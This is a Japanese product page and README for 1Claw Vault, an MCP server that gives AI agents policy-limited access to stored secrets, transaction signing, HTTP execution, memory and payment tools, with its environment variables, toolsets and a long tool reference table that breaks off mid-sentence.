1Claw Vault について
1Claw Vaultは、AgentやMCPクライアントがポリシーで制限されたVaultのシークレットや関連ツールを利用するためのMCPサーバーです。ローカルとホスト型の接続方式に対応し、認証情報不要の検査モードや、シークレットを端末内に保つローカルデーモンモードも備えています。
主な機能
- 01ツール呼び出し時にシークレットを取得
- 02署名、実行、メモリ関連ツールを提供
- 03プロンプトインジェクションのリスクを検査
- 04stdioとHTTPストリーミングに対応
- 05Agentの権限に応じてツールを制限
活用シーン
- 01Agentに指定したVaultパスへのアクセスを許可
- 02Vault認証情報なしでプロンプトインジェクションを検査
- 03ローカルデーモンでシークレットを端末内に保持
MCP 対応
Vault、承認、コンテンツ検査、署名、実行、メモリなど、権限に応じたツールセットと `vault://secrets` リソースを提供します。MCPクライアントはstdioまたはホスト型HTTPストリーミングで接続します。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
npx -y @1claw/mcpONECLAW_AGENT_API_KEYシークレットAgent API key (ocv_...). Exchanged for a short-lived JWT; auto-discovers agent ID and vault. Recommended for stdio.ONECLAW_AGENT_IDOptional agent UUID when pinning identity (usually auto-discovered from the API key).ONECLAW_VAULT_IDOptional vault UUID when the agent can access multiple vaults.ONECLAW_BASE_URLVault API base URL (default https://api.1claw.xyz).ONECLAW_LOCAL_ONLYSet to true for security-only mode (inspect_content only; no vault credentials).ローカルサーバーにはマシン上の実行環境(Node.js 18 以上など)が必要です。設定ファイルの場所はクライアントごとに異なります。
ツール
ローカルサーバーのツールはマシン上で起動して初めて取得できます。メンテナーはまだツール一覧を提供していません。
詳細
@1claw/mcp
⭐ 1clawAI/agent-templates にスターを付けてください — 1Claw に接続済みの、すぐに実行できるエージェントテンプレートです。スターを付けているリポジトリはこれだけです。
Cursor、Claude Desktop、VS Code、または任意の MCP クライアントを 1claw の保管庫に接続します。このサーバーは、シークレット、署名、実行バインディング、メモリ、自動化などのツールを提供します。値は呼び出し時に取得され、使用された時点を過ぎてモデルのコンテキストにキャッシュされることはありません。
ほとんどのチームは、API キーをエージェントのプロンプトや MCP 設定ファイルにコピーする代わりに、この方法を利用しています。エージェントを登録し、特定のシークレットパスへのポリシーアクセスを許可して、クライアントから mcp.1claw.co またはローカルの stdio プロセスを指定します。サーバーは、単一の ocv_ キーを使った JWT の交換と更新を処理します。
ローカル専用モード: 保管庫の認証情報なしで実行できるのは、セキュリティ検査ツールのみです(例:inspect_content)。1claw アカウントを使わずに、Ollama や LM Studio でインジェクション検出を行いたい場合に便利です。
ローカルデーモンモード: ローカルの 1claw デーモン(ONECLAW_LOCAL_VAULT=true)を指定すると、シークレットがマシンの外部に出ることはありません。デーモンが送信 HTTP リクエストに認証情報を注入するため、モデルが生の値を参照することはありません。
API コントラクト: 保管庫ツールは、@1claw/openapi-spec の REST API を使用します。Shroud を経由する LLM トラフィックは別経路です。エージェントは X-Shroud-Agent-Key と X-Shroud-Provider(必須。例:openai)を使って https://shroud.1claw.co を呼び出します。MCP サーバーがエージェント API キーを JWT と交換すると、そのトークンに Shroud の PolicyEngine 用の shroud_config が含まれる場合があります。MCP 自体は LLM リクエストをプロキシしません。
トランスポートモード
サーバーは2つのトランスポートモードをサポートしています。
| モード | 用途 | 認証 |
|---|---|---|
| stdio(デフォルト) | ローカル — Claude Desktop、Cursor | 環境変数:ONECLAW_AGENT_API_KEY(推奨。エージェントと Vault を自動検出)、または ONECLAW_AGENT_ID とキー、または ONECLAW_AGENT_TOKEN と ONECLAW_VAULT_ID |
| httpStream | mcp.1claw.co でホスト | リクエストごとのヘッダー:Authorization: Bearer <token>、X-Vault-ID |
ホストモードで実行するには、MCP_TRANSPORT=httpStream と PORT=8080 を設定します。
stdio と環境変数: サーバーはプロセス全体で単一の Vault クライアントをキャッシュしません。各ツール呼び出しでは、現在の process.env(ONECLAW_AGENT_API_KEY、ONECLAW_VAULT_ID など)から OneClawClient を構築するため、環境変数(または Vault のバインディング)を変更すると、MCP プロセスを再起動しなくても次の呼び出しから反映されます。
エージェント環境の自動解決(v0.52): エージェントに environment タグが付いていて env_auto_resolve: true の場合、resolve_env ツールでは environment を省略でき、Vault API は JWT からエージェントのタグを使用します。組織設定 env.enforce_agent_environment_scope を有効にすると、エージェントがタグ付けされた環境以外の変数を解決できないようにします。
ポリシーエンジン v0.53: アクセスポリシーでは、式ベースの tx_conditions.expression(ミニ DSL)を含む policy_schema_version: 2、拡張されたコントロールプレーンの action_kind_in コンセンサストリガー、および署名時のポリシー評価に用いるマルチチェーンの詳細デコード(Solana、Bitcoin、Tron)がサポートされています。TEE アテステーションは GET https://shroud.1claw.co/v1/shroud/attestation で利用できます(attestation_level:none | identity | confidential | sev_snp と confidential_claims を返します)。監査チェーンの検証は GET /v1/audit/verify で利用できます。
段階的 HITL(v0.54–0.55): エージェントのガードレールフィールドには、tx_approval_policy(段階的な tx しきい値 → 202 awaiting_approval)、typed_data_policy、simulation_failure_policy、および raw_signing_policy(deny、または approve を介して HITL にルーティング)が含まれます。v0.55 で拡張されたフィールド:tx_block_unlimited_approvals、受信者ごとの上限、USD 上限、allow_erc4337、allow_eip7702。人間はダッシュボードまたは API から承認できます。組織の凍結は POST /v1/org/freeze で行います。
ガードレールのガバナンスと Safe(v0.56–0.57): Convention 6 の実行シャドウ/強制、シャドウレポート、改訂、リプレイ、アドレススクリーニング、ガードレール拡張の承認(202)、エージェントの Safe アカウントとモジュールレジストリの MCP ツール(list_agent_accounts、migrate_agent_to_safe、get_guardrail_shadow_report など)。パッケージの README にあるツール一覧を参照してください。
インストール(ローカル/stdio)
Homebrew(macOS/Linux)
brew install 1clawAI/tap/1claw-mcp
ソースから
cd packages/mcp
pnpm install
pnpm run build
環境変数
| 変数 | 必須 | デフォルト | 説明 |
|---|---|---|---|
ONECLAW_AGENT_API_KEY | stdio* | — | 推奨。 エージェント API キー(ocv_...)です。サーバーはこれを JWT と交換し、エージェント ID と Vault を自動検出して、トークンを自動的に更新します。 |
ONECLAW_LOCAL_ONLY | いいえ | false | セキュリティ専用モード(Vault の認証情報は不要)にするには、true に設定します。 |
ONECLAW_LOCAL_VAULT | いいえ | false | クラウド API の代わりにローカルデーモンを使用するには、true に設定します。 |
ONECLAW_DAEMON_SOCKET | いいえ | ~/.config/1claw/daemon.sock | ローカルデーモンの Unix ソケットのパスです(ローカルデーモンモードのみ)。 |
ONECLAW_AGENT_ID | いいえ | — | エージェント UUID です。ONECLAW_AGENT_API_KEY を使用する場合は省略できます(キーから自動検出されます)。 |
ONECLAW_AGENT_TOKEN | stdio* | — | レガシー。 静的な Bearer JWT です(有効期限は約 1 時間で、自動更新されません)。 |
ONECLAW_VAULT_ID | いいえ | — | Vault の UUID です。ONECLAW_AGENT_API_KEY を使用すると自動検出されます。 |
ONECLAW_DPOP | いいえ | false | DPoP(RFC 9449)の所有証明を有効にするには、true に設定します。エージェントトークンを MCP クライアントの一時的な P-256 キーペアに結び付けるため、対応する秘密鍵がなければ盗まれたトークンを使用できません。 |
ONECLAW_BASE_URL | いいえ | https://api.1claw.co | Vault API のベース URL です。intents_require_tee / execution_require_tee が設定されたエージェントでは、ここに特別な値を設定する必要はありません。Vault がエージェントのインテントを Shroud に直接転送します(vault ≥ 0.61.19)。DPoP にバインドされたトークンを使用する場合、または署名処理を Shroud にルーティングするセルフホスト型のデプロイメントの場合に限り、Shroud(https://shroud.1claw.co)を設定してください。 |
ONECLAW_MCP_TOOLSETS | いいえ | 権限に基づくデフォルト値 | 公開するツールセットのコンマ区切りリスト(または all)です。対象を絞り込むか明示的に有効化できますが、エージェントの権限を超えて広げることはできません。ツールセットを参照してください。ホスト型の場合は、代わりに X-1Claw-Toolsets を送信します。 |
MCP_TRANSPORT | いいえ | stdio | トランスポートモードです。stdio または httpStream を指定します。 |
PORT | いいえ | 8080 | HTTP ポートです(httpStream モードのみ)。 |
* stdio の場合は、ONECLAW_AGENT_API_KEY を設定してください(推奨 — エージェント ID と Vault を自動検出し、トークンの更新も処理します)。代わりに、静的 JWT 認証用として ONECLAW_AGENT_TOKEN と ONECLAW_VAULT_ID を設定することもできます。ONECLAW_LOCAL_ONLY=true または ONECLAW_LOCAL_VAULT=true の場合は不要です。
ツール
このサーバーには 160 個のツールが含まれています(ローカルデーモンモードでは proxy_request を追加)。ただし、セッションに表示されるのは、権限が付与されたツールセットのみです。Vault 専用エージェントに提示されるのは約 24 個のツールであり、160 個ではありません。inspect_content は、Vault の認証情報なしで ONECLAW_LOCAL_ONLY=true モードでも実行できます。vault://secrets リソースも含まれています。
分割パッケージ
ディスク上のコードについて主張を確実に満たす必要がある stdio デプロイメント向けに、同じツリーからより範囲を絞った 2 つのビルドが同時に公開されています。
| パッケージ | 含まれるもの | 主張 |
|---|---|---|
@1claw/mcp-vault | vault と approvals のツールセット、inspect_content、vault://secrets(24 個のツール) | パッケージに署名、実行、カード、メモリー、プラットフォーム、管理者向けのコードは含まれません |
@1claw/mcp-guard | inspect_content のみ | パッケージにアカウント、認証情報、Vault クライアントは含まれません |
環境変数と動作は同じです。packages/vault/README.md と packages/guard/README.md を参照してください。mcp.1claw.co のホスト型サーバーは常に統合版です。
ツールセット
すべてのツールは、いずれかのツールセット(src/toolsets.ts)に属します。セッションに付与されるツールセットは、エージェント自身のフラグに基づいて参加時に決定され、その後15分ごと、およびVaultから403を受け取るたびに再確認されます(ホスト型セッションにはその後、notifications/tools/list_changedが送信されます)。
| ツールセット | 有効になる条件 | ツール |
|---|---|---|
inspect | 常に | inspect_content |
vault | すべてのエージェント | シークレット、バージョン、ローテーション、環境バンドル、Vault、共有、接続済みアカウント、子エージェント(約19) |
approvals | すべてのエージェント | request_approval、get_approval_status、get_approval、list_approvals、cancel_approval、list_pending_approvals |
intents | intents_api_enabled | 署名、シミュレーション、送信、署名キー、ポートフォリオ、Safeアカウント、Bankrリース(約18) |
execute | execution_intents_enabled | バインディング、execute_http、execute_intent、実行、コネクター、イベントサブスクリプション(8) |
cards | cards_enabled | カードとギフトカード(5) |
memory | memory_enabled | メモリーとget_peer_context(6) |
channels | shroud_enabled | Telegram/WhatsApp/Discordのチャネル(3) |
directory | discoverable | エージェントディレクトリとジョブボード(4) |
treasury、delegation、chat、automations、runtimes、notification | オプトインのみ | Vaultにはこれらのエージェント単位のフラグがありません。明示的にリクエストしてください |
admin | エージェントでは有効にならない | 人間専用のエンドポイント(ポリシー、サブ組織、承認投票、Safeの移行など)。stdio経由のユーザーJWTでのみ表示されます |
platform | 常に無効 | plt_エンドポイント。サーバーはプラットフォームキーを拒否します |
ツールセットを明示的に選択する。 ONECLAW_MCP_TOOLSETS(stdio)を設定するか、X-1Claw-Toolsets(ホスト型)にカンマ区切りのリスト(例:vault,intents,automations)またはallを指定します。選択によってデフォルトを絞り込んだり、オプトインのセットを有効にしたりできます。ただし、エージェントに付与されていないツールセットを追加することはできず、allでもadminとplatformは除外されます。inspectは常に含まれます。
execution_require_teeが設定されている場合、 VaultはTEE外でこのエージェントにシークレットの値を渡すことを拒否するため、get_secret、get_env_bundle、resolve_envは非表示になります。put_secret、rotate_*、describe_secret、list_secrets、list_versionsは引き続き使用できます。
ルックアップが縮退した場合。 サーバーはセッションごとに1行のログを記録します:toolsets=… lookup=full|jwt_only|failed。jwt_onlyは、エージェントプロファイルを読み取れず、署名済みJWTに含まれるフラグ(intents、execute、shroud)のみが適用されたことを意味します。cards、memory、directoryは次回の更新まで付与されません。failedは、トークンすら取得できなかったことを意味します。この場合、セッションはエージェントのデフォルトにフォールバックします。どちらの状態でも、ツールセットが拡大することはありません。
stdio。 ツールセットはプロセスの起動時に固定されます。エージェントのフラグを変更した後は、MCP サーバーを再起動してください。
| ツール | 説明 |
|---|---|
list_secrets | すべてのシークレットを一覧表示します(メタデータのみ。値は取得しません) |
get_secret | パスを指定してシークレットの復号済みの値を取得します。MPC ボールトでは、任意の client_share を指定できます。 |
put_secret | シークレットを作成または更新します(新しいバージョンが作成されます)。ボールトで MPC が有効な場合、レスポンスに client_share が含まれます。 |
delete_secret | パスにあるシークレットを論理削除します |
describe_secret | 値を取得せずにメタデータを取得します |
rotate_and_store | 既存のシークレットに新しい値を保存し、バージョンを返します |
rotate_generate | 生成した値を使用してサーバー側でシークレットをローテーションします(長さと文字セットを設定可能) |
list_versions | シークレットのすべてのバージョンを一覧表示します(バージョン番号、日付、無効状態) |
get_env_bundle | env_bundle シークレットを取得し、KEY=VALUE 形式の JSON として解析します |
list_child_agents | 親の配下にある子エージェント(独自のキー/メモリ/ポリシーを持ち、親のアクセス権の一部を継承。ボールト ≥ 0.61.30) |
resolve_env | ボールトと環境の環境変数を解決します(優先順位を適用した最終的な KEY=VALUE セットを返します)。エージェントの env_auto_resolve: true が有効な場合は、environment を省略してください。サーバーは JWT に設定されたエージェントの環境を使用します。 |
create_vault | 新しいボールトを作成します(エージェントの作成者である人間と自動的に共有されます) |
list_vaults | エージェントがアクセスできるすべてのボールト(自分のボールトと共有されたボールト)を一覧表示します |
grant_access | ボールトをユーザーまたはエージェントと共有します(自分のボールトのみ) |
share_secret | 作成者、ID を指定したユーザー/エージェントとシークレットを共有するか、公開リンクを作成します |
simulate_transaction | Tenderly 経由でトランザクションを署名またはブロードキャストせずにシミュレーションします |
simulate_bundle | 順序付きのトランザクション列(Tenderly バンドル)を署名せずにシミュレーションします |
submit_transaction | 署名対象のトランザクションインテントを送信し、必要に応じてブロードキャストします(EVM、Bitcoin、Solana、XRP、Cardano、Tron)。リプレイ保護のため、Idempotency-Key ヘッダーを自動生成します。30 種類以上の XRPL トランザクションタイプ(Payment、TrustSet、NFTokenMint、AMMCreate、EscrowCreate など)に対応する xrpl_tx_json をサポートします。 |
sign_transaction | 署名のみを行います(ブロードキャストなし)。EVM では signed_tx の 16 進数文字列を返し、EVM 以外ではチェーン固有の署名済みペイロードを返します。任意の XRPL トランザクションに対応する xrpl_tx_json をサポートします。 |
list_transactions | エージェントのトランザクションインテントを一覧表示します。 |
get_transaction | ID を指定してトランザクションを 1 件取得します(任意で include_signed_tx を指定できます)。 |
provision_signing_key | エージェント用のマルチチェーン署名キーを生成します。公開鍵、アドレス、メタデータを返します。秘密鍵はボールトに安全に保存されます。 |
list_signing_keys | すべてのチェーンにおけるエージェントの署名キーを一覧表示します。 |
get_signing_key_balance | エージェントの署名キーについて、チェーン上のネイティブトークン残高と、任意でトークン残高を取得します。 |
import_signing_key | 既存の秘密鍵を署名キーとしてインポートします(人間のみ。ステップアップ認証が必要です)。 |
sign_message | EIP-191 personal_sign を使用してメッセージに署名します。署名と署名者のアドレスを返します。 |
sign_typed_data | EIP-712 の型付き構造化データに署名します。署名、型付きデータのハッシュ、署名者のアドレスを返します。 |
sign_digest | ERC-1271/ERC-7739 のネストされた EIP-712 フロー(例:Polymarket)用に、クライアントで計算した 32 バイトのダイジェストに直接署名します(生署名/ブラインド署名)。raw_signing_enabled が必要です。監査ログに記録されます。 |
platform_list_apps | 呼び出し元の組織に属するすべてのプラットフォームアプリを一覧表示します。 |
platform_create_app | 新しいプラットフォームアプリを登録します(plt_ API キーを返します)。ユーザーのみ。 |
platform_bootstrap_user | テンプレートから、接続済みユーザー用のリソース(ボールト、エージェント、ポリシー)をブートストラップします。 |
platform_reissue_claim | リソースを再プロビジョニングせずに、すでにブートストラップ済みの接続用のクレーム URL を再発行します。 |
platform_rotate_key | プラットフォームアプリの API キーをローテーションします。新しい plt_ キーを返します(1 回限り)。 |
platform_list_templates | プラットフォームアプリのブートストラップテンプレートを一覧表示します。 |
platform_get_fleet | テンプレートのフリート概要(コホート規模、バージョンのばらつき、ドリフト)を表示します。読み取り専用です。 |
platform_list_fleet_agents | フリート内のエージェントと、各エージェントのプロビジョニング元バージョンを表示します。読み取り専用です。 |
platform_plan_fleet_rollout | ロールアウトを計画します。必ずドライランとして実行されます。設定は自動で行われます。 |
MCP 経由のフリート操作は、意図的に読み取り専用です。
bulk-patchとpauseは API と SDK には存在しますが、ここではツールとして提供されていません。フリートへの書き込みは、テンプレートからプロビジョニングされたすべてのエージェントを変更します。1 回の呼び出しで、エージェントが 1,000 体変更され、エージェントごとの確認もありません。これは、ターミナルを操作する人間、または意図的な SDK 呼び出しによって決定すべきことです。platform_plan_fleet_rolloutはdry_runを自ら設定し、引数としては受け付けません。安全性がモデルの選ぶ値に依存するツールは、安全なツールではないためです。 |platform_create_template| ブートストラップテンプレート(ボルト、エージェント、ポリシー、署名キー)を作成します。 | |platform_list_users| プラットフォームアプリに接続しているユーザー(ステータス、リソース、クレーム状態)を一覧表示します。 | |platform_grant_access| 接続ユーザーのボルト/エージェントへのアクセス権をプラットフォームアプリに付与します。 | |platform_list_grants| プラットフォーム接続の有効なリソース許可を一覧表示します。 | |platform_siwe_challenge| ウォレットネイティブなプラットフォームユーザーのプロビジョニング(plt_)用に SIWE nonce を発行します。 | |platform_get_connection| 接続の詳細(ステータス、クレーム状態、利用資格、ウォレットアドレス)を取得します。 | |platform_connection_usage| 現在の UTC 月における接続ごとの LLM 推論費用を取得します。 | |platform_list_entitlements| 接続のオンチェーン利用資格評価を一覧表示します。 | |platform_preview_template|{{params.*}}/{{subject.*}}を置換したテンプレート仕様をドライランします。 | |platform_transfer_ownership| プラットフォームアプリを別の組織に移管します(ステップアップ認証)。 | |platform_delete_app| プラットフォームアプリを論理削除し、そのスラッグを解放します。 | |platform_get_spend_policy| ID を指定してプラットフォームアプリの支出ポリシーを取得します。 | |platform_get_connection_spend_policy| 接続に適用される支出ポリシーを取得します。 | |platform_list_connection_approvals| プラットフォーム接続の人間による承認を一覧表示します。 | |platform_get_connection_approval| プラットフォーム接続の承認を 1 件取得します。 | |platform_list_connection_pending_approvals| 接続の保留中の承認を一覧表示します(ペイロードハッシュを含む)。 | |platform_get_template| ID を指定してブートストラップテンプレートを取得します。 | |platform_set_connection_spend_policy| 接続の支出ポリシーを設定または置換します(plt_認証)。 | |platform_create_connection_runtime| 接続エージェント用のクラウドランタイムを作成します。 | |platform_get_connection_runtime| ID を指定して接続スコープのランタイムを取得します。 | |platform_connection_passkey_enroll_begin| 接続ユーザーの WebAuthn パスキー登録を開始します。 | |platform_connection_passkey_enroll_complete| 接続エンドユーザーのパスキー登録を完了します(plt_認証)。 | |platform_connection_agent_chat| プラットフォーム接続上のエージェントとチャットします。 | |platform_list_connection_signing_keys| 接続上のエージェント署名キーを一覧表示します(公開メタデータのみ。agent_idは任意)。 | |platform_get_connection_signing_key| 接続エージェントの 1 つのチェーンに対する署名キーを取得します。 | |platform_patch_connection_agent| 接続エージェントで Intents/Execution Intents を有効にするか、system_promptを更新します。 | |platform_decide_connection_pending_approval| コンセンサスによる保留中の承認に投票します(payload_hash が必須)。 | |platform_decide_connection_approval| 接続ユーザーのモバイル承認を決定します。 | |platform_deactivate_connection_signing_key| 接続エージェントの署名キーを無効化します。 | |platform_marketplace| パブリックプラットフォームマーケットプレイスのアプリを一覧表示します。カテゴリ、タグ、検索クエリで閲覧できます。認証は不要です。 | |platform_app_stats| プラットフォームアプリの使用統計(接続ユーザー数、ブートストラップ数、API リクエスト量)を取得します。 | |platform_rotate_webhook_secret| プラットフォームアプリの webhook シークレットをローテーションします。新しいシークレットは配信時の HMAC-SHA256 署名に使用されます。 | |oauth_revoke_token| 1Claw が発行した OAuth アクセストークンまたはリフレッシュトークンを取り消します(RFC 7009)。 | |oauth_revoke_consent| 以前プラットフォームアプリに付与した OAuth 同意を取り消し、そのすべてのトークンを無効化します。 | |treasury_propose| トレジャリーのマルチシグ提案を作成します(Safe 署名者が承認するトランザクション意図)。 | |treasury_sign_proposal| トレジャリーの提案に署名するか、拒否します。EIP-712 署名を送信し、しきい値に達すると自動実行されます。 | |treasury_list_proposals| トレジャリーの提案を一覧表示します。任意でステータス(pending、approved、executed、rejected、expired)で絞り込めます。 | |request_approval| ポリシー変更または機密性の高い操作について、人間の承認を求めます。エージェントを操作する人間のための保留中の承認を作成します。 | |list_approvals| 承認リクエストを一覧表示します。任意でステータス(pending、approved、denied)で絞り込めます。 | |cancel_approval| このエージェントが作成した保留中の承認を取り下げます。先に届いた回答が優先されます(vault ≥ 0.61.29)。 | |get_approval| 特定の承認リクエストの現在のステータスを取得します。承認を待つ間にポーリングするエージェントに便利です。 | |get_approval_status| エージェント向けの軽量な承認ポーリング(ステータスとexpires_atのみ)。 | |lease_bankr_key| 特権操作 —agents/{id}/bankr/*のポリシーにより制御されます。スコープ付きのbk_usr_キーをプロビジョニングします(Shroud 用に保存され、ツール出力には 返されません)。TTL は 300~900 秒を推奨します。Vault にBANKR_PARTNER_KEYが必要です。 | |spend_from_passkey_safe| エージェントのために所有者が署名したオンチェーン Allowance Module の許可のもと、人間のパスキー所有 Safe(custody: passkey_owner)から支出します —safe_id、to、amount(基本単位)、任意のtoken。モジュールが上限を適用し、ガードレールと制裁対象チェックが先に実行されます。署名 1 回として数えられます。 | |execute_http| 事前設定されたバインディングを介して HTTP リクエストを実行します。認証情報はサーバー側で注入され、エージェントには公開されません。エージェントでexecution_intents_enabledが必要です。 | |execute_intent| 名前付きバインディングを介して汎用インテント(HTTP、GraphQL など)を実行します。 | |create_binding| エージェント用のバインディング(認証情報ハンドル)を作成します。インライン認証情報またはvault_ref(既存のボルトシークレットへのライブポインター。実行時に解決)をサポートします。人間専用です。 | |list_bindings| エージェントに設定されたすべてのバインディングを一覧表示します。バインディング名、種類、設定を返します(認証情報は含みません)。 | |test_binding| バインディングの接続をテストします。 | |list_executions| エージェントの最近の実行イベントを一覧表示します。 | |list_installed_connectors| エージェントにインストールされたコネクターと、それぞれのサインイン状態を一覧表示します。 | |list_connector_presets| コネクターカタログ(gmail、slack、stripe、hubspot、…)と、各プリセットのevent_sourcesを一覧表示します。 | |list_event_subscriptions| エージェントが登録しているポーリング対象のコネクターイベントソースを一覧表示します。新しい項目は自動化イベントとして届きます(vault ≥ 0.61.32)。 | |order_card| x402 経由でプリペイドカードを注文します。エージェントでcards_enabledが有効で、Base 上の署名キーに USDC が入金されている必要があります。マスクされたカード参照を返します(PAN は返しません)。 | |order_gift_card| x402 経由でギフトカードを注文します。ブランド選択用にlaso_server_idを任意で指定できます。 | |search_gift_cards| 利用可能なギフトカードのブランド/サーバーを検索します(クエリまたは国別)。 | |list_cards| エージェントのすべての決済カードを一覧表示します(マスク済み。下 4 桁のみ)。 | |get_card_status| ID を指定してカードの現在のステータスとメタデータを取得します。 | |put_memory| エージェントのメモリに値を保存します(名前空間/キー)。一時エントリーの TTL をサポートします。 | |get_memory| 名前空間とキーを指定して、エージェントのメモリから値を読み取ります。 | |list_memory| メモリの名前空間、または名前空間内のエントリーを一覧表示します。 | |delete_memory| 名前空間とキーを指定してメモリエントリーを削除します。 | |search_memory| 意味的類似性(ベクトル検索)を使ってエージェントのメモリを検索します。 | |list_automations| エージェントの自動化ワークフローを一覧表示します。 | |list_automation_presets| 事前構築済みワークフローテンプレートを含む、利用可能な自動化プリセットを一覧表示します。 | |trigger_automation| 自動化ワークフローを手動でトリガーします。 | |create_agent_automation| 呼び出し元エージェントのシンプルな自動化を作成します(手動または webhook)。 | |cancel_automation_run| 実行中またはawaiting_approvalの自動化実行をキャンセルします。 | |list_runtimes| エージェントのクラウドランタイムを一覧表示します。 | |manage_runtime| クラウドランタイムを起動または停止します。 | |runtime_status| ランタイムの現在のステータスとリソース使用状況を取得します。 | |runtime_logs| ランタイムコンテナの最近のログを取得します。 | |send_chat_message| Shroud LLM 経由でエージェントにチャットメッセージを送信します(会話 ID は任意)。 | |list_chat_conversations| エージェントのチャット会話を一覧表示します。 | |create_channel| エージェント用に Telegram、WhatsApp、または Discord チャンネルを登録します。 | |list_channels| エージェントのメッセージングチャンネルを一覧表示します。 | |send_channel_message| 登録済みチャンネル経由で送信メッセージを送ります。 | |list_oauth_providers| 利用可能な OAuth プロバイダー(Google、GitHub、Slack など)を一覧表示します。 | |list_oauth_connections| エージェントの OAuth 接続済みアカウントを一覧表示します。 | |org_directory| サブエージェントの検出用に組織のエージェント(機能、タグ)を一覧表示します。 | |delegate_task| チャット経由で別のエージェントにタスクを送信します(同一組織内の委任)。 | |search_agent_directory| 公開エージェントディレクトリを検索し、検出可能なエージェントを探します。 | |list_delegations| 現在のエージェントまたは指定されたエージェントの、エージェント間の委任を一覧表示します。 | |create_delegation| あるエージェントから別のエージェントへの委任を作成します(人間専用)。許可するツール、1 日の上限、深度、モードを設定します。 | |get_effective_delegations| 現在のエージェントに有効な委任を取得します — ランタイムツールによるサブエージェント検出で使用します。 | |list_cedar_policies| 組織の Cedar 宣言型ポリシーを一覧表示します(Team+ ティア)。 | |test_cedar_policy| プリンシパル/アクション/リソースに対して Cedar ポリシーをドライランします。 | |list_opa_policies| 組織の OPA Rego ポリシーを一覧表示します(Business+ ティア)。 | |test_opa_policy| OPA ポリシー評価をドライランします。 | |list_sub_orgs| 親組織の下位組織を一覧表示します(Enterprise 階層)。 | |create_sub_org| 下位組織を作成します(人間専用)。 | |get_portfolio| トレジャリーウォレット、署名キー、スマートアカウントの残高を統合して集計します。 | |import_smart_account| 既存の Gnosis Safe スマートアカウントをエージェント用にインポートします。 | |get_policy_backend_settings| 組織の Cedar/OPA バックエンド設定(バックエンド、モード、スコープ、サーキットブレーカー)を取得します。 | |update_policy_backend_settings| 組織のポリシーバックエンド設定(シャドウ/強制、フェイルクローズ型ブレーカー)を更新します。 | |get_shadow_report| シャドウモードの差異レポート(組み込みと Cedar/OPA の判断)を取得します。 | |list_contract_abis| トランザクションのデコード用に、組織のコントラクト ABI を一覧表示します。 | |upload_contract_abi| コントラクト ABI を組織のレジストリにアップロードします(デコード済みトランザクションのポリシー評価を有効化)。 | |list_pending_approvals| 組織のコンセンサスによる保留中の承認を一覧表示します。 | |approve_pending_approval| 保留中の承認を承認または拒否します(credential_typeは passkey、totp、biometric、password、api_key をサポート)。 | |execute_pending_approval| 承認済みの保留中アクションを実行します。 | |list_agent_accounts| チェーンごとに、デプロイ状況とモジュールを含むエージェントのオンチェーンアカウント(EOA と Safe)を一覧表示します。 | |migrate_agent_to_safe| EOA→Safe の移行計画を作成し、カウンターファクチュアル Safe をプロビジョニングします(人間専用)。 | |deprecate_agent_eoa| 指定したチェーンでエージェント EOA を非推奨としてマークします(人間専用)。 | |get_safe_module_registry| 指定したチェーンの固定済み Safe モジュールアドレスを一覧表示します(公開、認証不要)。 | |sync_org_safe_allowances| 組織の Safe 許可設定をエージェントのガードレールと照合して調整します(オーナー/管理者)。 | |get_guardrail_shadow_report| 規約 6 のガードレールシャドウ違反(guardrail_shadow.would_deny監査イベント)を取得します。 | |list_guardrail_revisions| エージェントとバインディングのガードレール変更の監査証跡を取得します。 | |replay_agent_guardrails| エージェントの最近のトランザクションに対して、ドラフトのガードレールをドライランします。 | |request_secret| エージェントに不足している認証情報を人間に求めます。値はダッシュボードのフィールドから直接ボルトに入り、エージェントが知るのはそのパスのみです。 | |check_secret_request|request_secretが対応済み、拒否済み、または期限切れかどうかを確認します。対応済みの場合は、ボルトとget_secretで読み取るパスを返します。自身のリクエストのみです。 | |get_peer_context| 過去のやり取りから、このエージェントが対応する人についてわかること(同様のリクエストをどのように判断したか)を取得します。その人が紐付けられていない場合は空です。 | |list_directory_jobs| 1Claw ディレクトリボードの未処理ジョブを一覧表示します。サーバーがフラグを付けたサードパーティのテキストには UNTRUSTED とマークされます。 | |get_directory_job| ID を指定してディレクトリジョブを 1 件取得します。 | |submit_directory_job_bid| ディレクトリジョブに入札します(検出可能なエージェントのみ)。再入札すると以前の入札が置き換えられます。 | |list_notification_targets| このアカウントの承認と通知の配信先(SMS、webhook、メール、プッシュ)を一覧表示します。読み取り専用です。 | |runtime_env| ランタイム起動時のすべての環境変数、その値のソース、名前の衝突時に優先される値を取得します。 | |platform_create_connection_pending_approval| 接続エージェントのコンセンサスによる保留中の承認を申請します(plt_認証)。 | |platform_delete_connection_runtime| アプリが接続上にプロビジョニングしたランタイムを削除します(plt_認証)。 | |platform_get_connection_portfolio| 接続上のエージェントの残高を取得します(plt_認証)。 | |platform_list_connection_automations| 接続のエージェントを対象とする自動化を一覧表示します(plt_認証)。 | |platform_get_connection_otel_summary| 接続上のエージェントに関する姿勢スコア、未解決の脅威、保留中の承認を取得します(plt_認証)。 | |platform_get_connection_otel_threats| 接続上のエージェントの脅威を、影響範囲の大きい順に取得します(plt_認証)。 | |platform_get_connection_otel_topology| 接続上のエージェントが到達できるエージェント、ポリシー、ボルト、チェーン、システムを取得します(plt_認証)。 | |inspect_content| 任意のテキストを分析し、プロンプトインジェクション、コマンドインジェクション、ソーシャルエンジニアリング、PII、エンコーディングの手口などを検出します。ボルト認証情報がなくても動作します。 | |proxy_request| ローカルデーモンモードのみ。 デーモンがシークレットを注入して HTTP リクエストを行います。モデルがシークレット名とターゲット URL を指定します。シークレットの値がコンテキストウィンドウに入ることはありません。 | 認証情報ソースのバインド:create_bindingツールは、2 つのモードを持つ省略可能なcredential_sourceパラメーターを受け付けます。
{ "type": "inline", "value": { "token": "..." } }— 認証情報は__agent-keysに保存されます(デフォルトの動作で、credentialを使用する場合と同じです)。{ "type": "vault_ref", "vault_id": "<uuid>", "path": "secrets/api-key" }— 既存の Vault シークレットへのライブポインターです。認証情報は実行時に解決され、常に最新バージョンが使用されます。個別にローテーションされるシークレットや、複数のバインドで共有するシークレットに便利です。
Treasury ウォレット(
POST /v1/treasury/wallets/generate、GET .../walletsなど)は人間専用のエンドポイントであり、MCP ツールとしては公開されていません。エージェントは Treasury ウォレットの生成や管理を行えません。人間のユーザーはダッシュボード、CLI(1claw treasury)、または SDK(client.treasuryWallets)を使って Treasury ウォレットを管理します。セルフカストディキー(カストディ方式
